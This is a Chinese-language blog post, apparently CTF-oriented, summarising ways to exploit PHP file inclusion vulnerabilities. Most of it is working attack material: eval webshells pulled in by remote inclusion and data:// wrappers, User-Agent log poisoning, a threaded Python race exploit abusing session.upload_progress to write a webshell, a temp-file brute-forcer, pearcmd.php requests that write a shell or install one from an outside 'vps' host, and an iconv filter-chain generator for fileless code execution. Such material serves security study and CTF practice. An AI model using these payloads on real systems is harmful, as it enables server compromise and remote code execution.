HacKerQWQ的博客空间

文件包含漏洞小总结

Word count: 2.5kReading time: 12 min
2021/11/02 Share

文件包含漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

如上文件就存在文件包含漏洞,可将任意文件包含到当前页面,可能还会引发代码执行和命令执行

java和php语言的文件包含

1
2
3
4
5
6
7
8
9
10
11
<!--#include file="1.asp" -->

<!--#include file="top.aspx" -->

<c:import url="http://thief.one/1.jsp">

<jsp:include page="head.jsp"/>

<%@ include file="head.jsp"%>

<?php Include('test.php')?>
  • <%@ include file="head.jsp"%>是静态包含,在jar包或者war包运行时就已编译为class文件包含,只能包含网站路径文件
  • <jsp:include page="head.jsp"/>是动态包含,传入变量时再包含,只能包含网站路径文件
  • <c:import url="http://thief.one/1.jsp">动态远程包含

利用方式

  1. 远程文件包含

    1
    2
    3
    4
    5
    6
    ?c=http://139.224.247.105/test.txt
    #test.txt
    <?php eval($_POST['cmd']);?>

    POST
    cmd=show_source('flag.php');
  2. php伪协议包含

    1
    2
    3
    ?c=data://text/plain,<?php echo "HackerQWQ";?>
    ?c=data://text/plain,<?php eval($_POST['cmd']);?>
    ?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==
  3. 包含日志文件

    日志位置:

    1
    2
    /var/log/nginx/access.log
    /var/log/apache2/access.log

    同时修改User-Agent包含恶意代码

    1
    User-Agent: <?php system('hd flag.php');?>

    payload:

    1
    2
    ?c=/var/log/apache2/access.log
    User-Agent: <?php system('hd flag.php');?>
  4. phpinfo配合文件包含

    前提条件:

    1. 存在phpinfo页面
    2. 网络条件好

    当文件上传的时候phpinfo页面中会回显上传文件的临时文件名名,如果此时开另一个线程读取文件名的话就能成功进行包含。

    exp

    image.png

  5. windows通配符利用

    前提条件:windows环境

    上传webshell的同时包含temp目录下的随机文件名C:\Windows\Temp\php<<

    image.png

  6. session.upload_progress与session文件包含

    php.ini默认配置选项

    1
    2
    3
    4
    5
    6
    1. session.upload_progress.enabled = on
    2. session.upload_progress.cleanup = on
    3. session.upload_progress.prefix = "upload_progress_"
    4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
    5. session.upload_progress.freq = "1%"
    6. session.upload_progress.min_freq = "1"

    其实这里,我们只需要了解前四个配置选项即可

    enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

    cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;

    name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

    prefix+name将表示为session中的键名

    利用条件:

    • 目标环境开启了session.upload_progress.enable选项
    • 发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
    • 请求的Cookie中包含Session ID
    • session.upload_progress.cleanup关闭或开启都可以

    原理:用户上传的表单满足利用条件的话,上传的文件数据就会被保存到session文件中,此时包含的话就能利用成功

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    import threading
    import requests
    from concurrent.futures import ThreadPoolExecutor, wait

    target = 'http://192.168.1.162:8080/index.php'
    session = requests.session()
    flag = 'helloworld'


    def upload(e: threading.Event):
    files = [
    ('file', ('load.png', b'a' * 40960, 'image/png')),
    ]
    data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}

    while not e.is_set():
    requests.post(
    target,
    data=data,
    files=files,
    cookies={'PHPSESSID': flag},
    )


    def write(e: threading.Event):
    while not e.is_set():
    response = requests.get(
    f'{target}?file=/tmp/sess_{flag}',
    )

    if flag.encode() in response.content:
    e.set()


    if __name__ == '__main__':
    futures = []
    event = threading.Event()
    pool = ThreadPoolExecutor(15)
    for i in range(10):
    futures.append(pool.submit(upload, event))

    for i in range(5):
    futures.append(pool.submit(write, event))

    wait(futures)

    脚本执行完毕后会在目标中写入/tmp/success文件,里面即为Webshell:

    image.png

  7. Segfault遗留下TEMP文件

    当程序因为某些原因crash的时候,上传的临时文件就会遗留在系统中,此时对临时文件名进行包含的话就能利用成功,增加

    crash的语句

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    #7.1.20以前可用
    #该方法仅适用于以下php7版本,php5并不存在该崩溃:
    #• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
    #• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
    #• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
    include 'php://filter/string.strip_tags/resource=/etc/passwd';
    同时上传文件即可生成/tmp/phpxxxxxx(x由a-z,A-Z,0-9组成)

    #convert.quoted-printable-encode
    这个崩溃并不适用于includerequire等函数,适用于file函数,file_get_contents函数,readfile函数
    #• php7.0.0-7.0.32
    #• php7.0.4-7.2.12
    #• php<=5.6.38的版本
    #5.6.39-5.6.9以内的版本并不存在这个崩溃
    <?php
    file_get_contents($_GET[a]);

    payload:
    index.php?a=php://filter/convert.quoted-printable-encode/resource=/etc/passwd
    在包含的同时要给此存在文件包含的php文件post一个文件,然后用脚本去爆破这个文件即可。
    放一个xctf final的exp:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-

    import requests
    import string

    charset = string.digits + string.letters

    host = "10.99.99.16"
    port = 80
    base_url = "http://%s:%d" % (host, port)


    def brute_force_tmp_files():
    for i in charset:
    for j in charset:
    for k in charset:
    for l in charset:
    for m in charset:
    for n in charset:
    filename = i + j + k + l + m + n
    url = "%s/index.php?function=extract&file=/tmp/php%s" % (base_url, filename) #url根据实际情况改下参数就行
    print url
    try:
    response = requests.get(url)
    if 'wwwwwwwwwwwwww' in response.content: #可以利用burp 多线程上传文件
    print "[+] Include success!"
    return True
    except Exception as e:
    print e
    return False


    def main():
    brute_force_tmp_files()


    if __name__ == "__main__":
    main()


    file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));
    # 不过在文件包含场景下,这个POC涉及到`data:`协议,会因为allow_url_include=Off而失败。

    我们可以尝试多次crash,遗留多个temp文件,这样爆破起来就简单了

    • 自包含

      也就是自己包含自己,比如index.php?file=index.php,这样也会生成临时文件,但是这样不够稳定,影响服务器性能,推荐前面两种方法。

  8. percmd.php的利用

    前提条件:

    • 开启了perl
    • 开启register_argc_argv选项,在docker中默认开启

    pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

    原理看p牛的博客:https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp

    我们通过Web访问了pear命令行的功能,且能够控制命令行的参数。

    image.png

    ​ 常用的方法是使用config-create创建shell文件以及文件下载

    1
    2
    index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
    index.php?+install+-R+/tmp+http://vps/shell.txt&file=/usr/local/lib/php/pearcmd.php

    pearcmd.php文件常出现的位置有

    1
    2
    /usr/share/php/pearcmd.php
    /usr/local/lib/php/pearcmd.php

    image.png

    发送这个数据包,目标将会写入一个文件/tmp/hello.php,其内容包含<?=phpinfo()?>

    image.png

    然后,我们再利用文件包含漏洞包含这个文件即可getshell:

    image.png

    最后这个利用方法,无需条件竞争,也没有额外其他的版本限制等,只要是Docker启动的PHP环境即可通过上述一个数据包搞定。

  9. 无文件LFI

    原理:利用iconv和base64-decode无文件lfi

    参考地址:https://blog.csdn.net/rfrder/article/details/122326155

    脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    <?php
    $base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
    $conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
    );

    $filters = "convert.base64-encode|";
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    $filters .= "convert.iconv.UTF8.UTF7|";

    foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
    }
    $filters .= "convert.base64-decode";

    // $final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";
    $final_payload = "php://filter/{$filters}/resource=/etc/passwd&0=id";
    echo($final_payload);

    image-20230106231040229

参考链接

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html

CATALOG
  1. 1. 文件包含漏洞
  2. 2. 利用方式
  3. 3. 参考链接